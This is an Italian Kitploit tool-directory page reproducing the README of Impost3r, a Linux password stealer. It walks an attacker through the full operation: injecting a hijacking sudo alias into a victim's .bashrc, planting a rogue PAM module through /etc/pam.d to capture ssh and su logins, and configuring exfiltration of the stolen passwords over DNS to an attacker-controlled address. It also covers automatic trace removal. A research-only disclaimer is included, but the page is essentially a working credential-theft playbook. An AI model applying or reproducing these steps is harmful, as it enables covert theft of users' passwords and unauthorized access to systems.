Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
Strumenti/GitHubGitHub/ph4ntonn/impost3r
Attacchi alle PasswordPost-ExploitPenetration TestingRed Teaming
GitHubph4ntonn/impost3r

Impost3r

👻Impost3r -- Un ladro di password per Linux

Vedi Repository
66412221 anno faRevisionato da Kitploit

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

imposter.png

Impost3r

GitHub issues GitHub stars GitHub forks GitHub license

English

Impost3r è uno strumento scritto in C per rubare varie password su Linux (ssh, su, sudo).

Gli utenti possono utilizzare questo programma per creare un watering hole e rubare le password degli utenti legittimi.

Questo strumento è destinato esclusivamente alla ricerca sulla sicurezza e all'insegnamento. L'utente si assume ogni responsabilità legale e correlata derivante dall'uso di questo strumento! L'autore non si assume alcuna responsabilità legale o correlata!

Caratteristiche

  • Cancellazione automatica delle tracce di attività
  • Trasmissione dei risultati tramite protocollo DNS
  • Invisibile all'utente

Dipendenze

  • gcc

Utilizzo

Impost3r può essere utilizzato per rubare le password di servizi come sudo, su e ssh. Questi tre servizi possono essere suddivisi in due categorie: sudo e ssh/su. Di seguito sono discussi due casi.

Rubare la password di sudo

Richiede solo i permessi di un utente normale, non necessariamente root, ma può rubare solo la password dell'utente corrente, non quella di altri utenti.

  • Innanzitutto, supponiamo che l'attaccante abbia il controllo di un server con permessi di utente normale.

  • Verifica se esiste il file .bash_profile nella home directory dell'utente. Se .bash_profile esiste: controlla se carica esplicitamente .bashrc. Se lo fa, salta questo passaggio e i due successivi, prosegui con le operazioni successive. Se non lo carica esplicitamente, salta i due passaggi successivi e tutte le operazioni seguenti relative a .bashrc devono essere eseguite su .bash_profile! Se .bash_profile non esiste: passa al passaggio successivo.

  • Verifica se esiste il file .bash_login nella home directory dell'utente. Se .bash_login esiste: controlla se carica esplicitamente .bashrc. Se lo fa, salta questo passaggio e quello successivo, prosegui con le operazioni successive. Se non lo carica esplicitamente, salta il passaggio successivo e tutte le operazioni seguenti relative a .bashrc devono essere eseguite su .bash_login! Se .bash_login non esiste: passa al passaggio successivo.

  • Verifica se esiste il file .profile nella home directory dell'utente. Se .profile esiste: controlla se carica esplicitamente .bashrc (di solito lo fa). Se lo fa, salta questo passaggio, prosegui con le operazioni successive. Se non lo carica esplicitamente, tutte le operazioni seguenti relative a .bashrc devono essere eseguite su .profile! Se neppure .profile esiste, in linea di principio Impost3r non può essere utilizzato. Puoi tuttavia decidere di creare un file .bash_profile o .profile e inserire codice simile al seguente per caricare .bashrc:

root@kitploit:~
if [ -n "$BASH_VERSION" ]; then
    # include .bashrc if it exists
    if [ -f "$HOME/.bashrc" ]; then
	. "$HOME/.bashrc"
    fi
fi
  • Copia il file .bashrc dell'utente: cp ~/.bashrc /tmp/ e posiziona questa copia in un percorso definito dall'attaccante (nell'esempio, nella directory /tmp/, l'attaccante può modificare).

  • Modifica il file .bashrc (~/.bashrc) nella home directory dell'utente aggiungendo la seguente riga alla fine (il percorso /tmp/.impost3r deve corrispondere al valore di FILENAME definito successivamente):

root@kitploit:~
alias sudo='impost3r() {
if [ -f "/tmp/.impost3r" ]; then
/tmp/.impost3r "$@" && unalias sudo
else
unalias sudo;sudo "$@"
fi
}; impost3r'
  • Dopo l'aggiunta, salva il file ed esegui source ~/.bashrc.

  • Successivamente, l'attaccante deve modificare il codice sorgente di Impost3r /sudo/main.h:

root@kitploit:~
/*
    Custom setting
*/
# define FILENAME "/tmp/.impost3r" \\ Imposta la posizione di Impost3r sul server di destinazione
# define BACKUP_ORI_FILENAME ".bashrc" \\ Indica se il file di configurazione utente di backup è .bashrc, .bash_profile, .profile o .bash_login
# define BACKUP_ORI_PATH "/tmp/.bashrc" \\ Indica la posizione del file di configurazione utente di backup sul server di destinazione
# define SAVE_OR_SEND 0 \\ Imposta se il risultato deve essere salvato sulla macchina di destinazione o inviato al server controllato dall'attaccante (invia=0, salva=1, default: invia)

/*
    Send to server
*/
# define YOUR_DOMAIN ".com" \\ Nota: se non vuoi acquistare un dominio per ricevere i messaggi da Impost3r e il server di destinazione non blocca le connessioni UDP dirette verso la porta 53 del tuo server DNS, lascia il valore predefinito;
\\ Tuttavia, se il server di destinazione limita rigorosamente le richieste DNS in uscita, imposta YOUR_DOMAIN con il dominio acquistato, ad esempio ".example.com", configura il record NS di questo dominio in modo che punti al tuo server DNS, esegui Fdns su questo server e imposta REMOTE_ADDRESS al DNS predefinito del server di destinazione, REMOTE_PORT alla porta del servizio DNS su tale indirizzo (di solito 53)
# define MAX_RESEND 30 \\ Imposta il numero massimo di tentativi di reinvio della password dopo il furto al server attaccante
# define RESEND_INTERVAL 5 \\ Imposta l'intervallo tra ogni invio della password
# define REMOTE_ADDRESS "192.168.0.12" \\ Imposta l'indirizzo remoto per l'invio della password
# define REMOTE_PORT 53 \\ Imposta la porta remota per l'invio della password

/*
    Save to local
*/
# define SAVE_LOCATION "/tmp/.cache" \\ Imposta il percorso del file dei risultati, quando SAVE_OR_SEND è impostato a 1
  • Dopo la modifica, salva ed esegui make nella directory corrente.

  • Nella directory corrente si ottiene il file compilato .impost3r.

  • Carica il file .impost3r nella cartella /tmp/ del server di destinazione (solo esempio, può essere modificato, purché corrisponda alla definizione nel codice sorgente).

  • L'attaccante avvia il programma server DNS sulla propria macchina e attende che un utente legittimo esegua sudo per ottenere la password.

Esempio di furto

Suggerimenti

  • Nel caso del furto della password di sudo, Impost3r cancella automaticamente le tracce dopo il successo; non è necessario che l'attaccante lo faccia manualmente.

  • Impost3r rileva automaticamente se la password inserita è corretta; termina il flusso e cancella le tracce solo dopo che l'utente ha inserito la password corretta.

  • Prima di usare Impost3r, verifica con sudo -v se l'utente corrente appartiene al gruppo sudoer. In caso contrario, non utilizzare Impost3r.

Rubare le password di ssh/su

Il metodo per rubare le password di ssh/su è diverso dal furto di sudo. Richiede privilegi di root e può rubare le password di qualsiasi utente.

L'esempio seguente è per Ubuntu; CentOS è simile, ma i file e i metodi di modifica potrebbero differire.

  • Supponiamo che l'attaccante abbia il controllo di un server.

  • Dopo aver ottenuto i privilegi di root (o l'amministratore ha avviato il servizio con root).

  • Modifica il file sorgente di Impost3r /ssh_su/main.h:

root@kitploit:~
/*
    Custom setting
*/
# define SSH_OR_BOTH 0 \\ Imposta la modalità di furto: 0 solo ssh, 1 sia ssh che su (default: 0) (la differenza sarà spiegata in seguito)
# define SAVE_OR_SEND 0 \\ Imposta se il risultato deve essere salvato sulla macchina di destinazione o inviato al server controllato dall'attaccante (invia=0, salva=1, default: invia)

/*
    Send to server
*/
# define YOUR_DOMAIN ".com" \\ Nota: se non vuoi acquistare un dominio per ricevere i messaggi da Impost3r e il server di destinazione non blocca le connessioni UDP dirette verso la porta 53 del tuo server DNS, lascia il valore predefinito;
\\ Tuttavia, se il server di destinazione limita rigorosamente le richieste DNS in uscita, imposta YOUR_DOMAIN con il dominio acquistato, ad esempio ".example.com", configura il record NS di questo dominio in modo che punti al tuo server DNS, esegui Fdns su questo server e imposta REMOTE_ADDRESS al DNS predefinito del server di destinazione, REMOTE_PORT alla porta del servizio DNS su tale indirizzo (di solito 53)
# define MAX_RESEND 30 \\ Imposta il numero massimo di tentativi di reinvio della password dopo il furto al server attaccante (valido solo quando SSH_OR_BOTH è 0)
# define RESEND_INTERVAL 5 \\ Imposta l'intervallo tra ogni invio della password (valido solo quando SSH_OR_BOTH è 0)
# define REMOTE_ADDRESS "192.168.0.12" \\ Imposta l'indirizzo remoto per l'invio della password
# define REMOTE_PORT 53 \\ Imposta la porta remota per l'invio della password

/*
    Save to local
*/
# define SAVE_LOCATION "/tmp/.sshsucache" \\ Imposta il percorso del file dei risultati, quando SAVE_OR_SEND è impostato a 1
  • Dopo la modifica, salva ed esegui make nella directory corrente.

  • Ottieni il file compilato impost3r.so.

  • Carica il file compilato impost3r.so nella cartella /lib/x86_64-linux-gnu/security della macchina di destinazione (il nome della cartella può variare a seconda della macchina; posizionalo di conseguenza).

  • Entra nella directory /etc/pam.d. Qui ci sono due casi: se la modalità scelta è solo furto della password ssh, modifica il file vi sshd aggiungendo alla fine le seguenti righe (nota: i file di sistema basati su Linux diversi da Ubuntu possono differire significativamente; si consiglia di comprendere le regole prima di aggiungere nella posizione appropriata):

root@kitploit:~
auth optional impost3r.so
account optional impost3r.so
  • Salva ed esci, quindi riavvia il servizio ssh con service sshd restart.

  • Se invece si sceglie di rubare sia la password ssh che su, modifica il file vi common-auth aggiungendo le stesse righe, salva ed esci, quindi riavvia il servizio ssh.

  • L'attaccante avvia il programma server DNS sulla propria macchina e attende che un utente legittimo esegua il login tramite ssh sulla macchina di destinazione o esegua su per cambiare utente, ottenendo così la password.

Esempio di furto

Suggerimenti

  • Nel caso del furto delle password di ssh/su, a causa dei permessi, Impost3r non può cancellare le tracce; deve farlo l'attaccante.

  • Nota: se si imposta il furto solo della password ssh, è garantito che l'attaccante riceva il risultato al 100%. Se si impostano entrambe, non è garantito (solo nel caso di invio tramite DNS; il salvataggio locale non è influenzato).

  • Non è consigliato rubare la password su; poiché la password ssh dell'utente è la stessa della password su, se possibile, ruba solo quella ssh.

  • Per impostazione predefinita, non vengono rubate password vuote. Verifica se l'utente ha una password vuota (controlla se nel file di configurazione sshd è presente PermitEmptyPasswords yes; se è vuota, non c'è nulla da rubare).

Note

  • Il programma server DNS che utilizzo è Fdns, con alcune modifiche. Il codice sorgente modificato si trova nella cartella Fdns. Compilalo con il comando gcc -o dns main.c util.c (assicurati di modificare la porta di ascolto in main.c prima).

  • Prima di compilare Fdns, verifica il valore di YOUR_DOMAIN nel file util.h. Assicurati che sia lo stesso valore di YOUR_DOMAIN utilizzato durante la compilazione di Impost3r sul server di destinazione; altrimenti il furto potrebbe fallire.

  • Questo programma è stato sviluppato per scopi didattici nel tempo libero; potrebbero esserci bug. Per favore, sii comprensivo e segnala eventuali problemi.

Ringraziamenti

  • Fdns
  • libbaseencode
Scarica lo strumento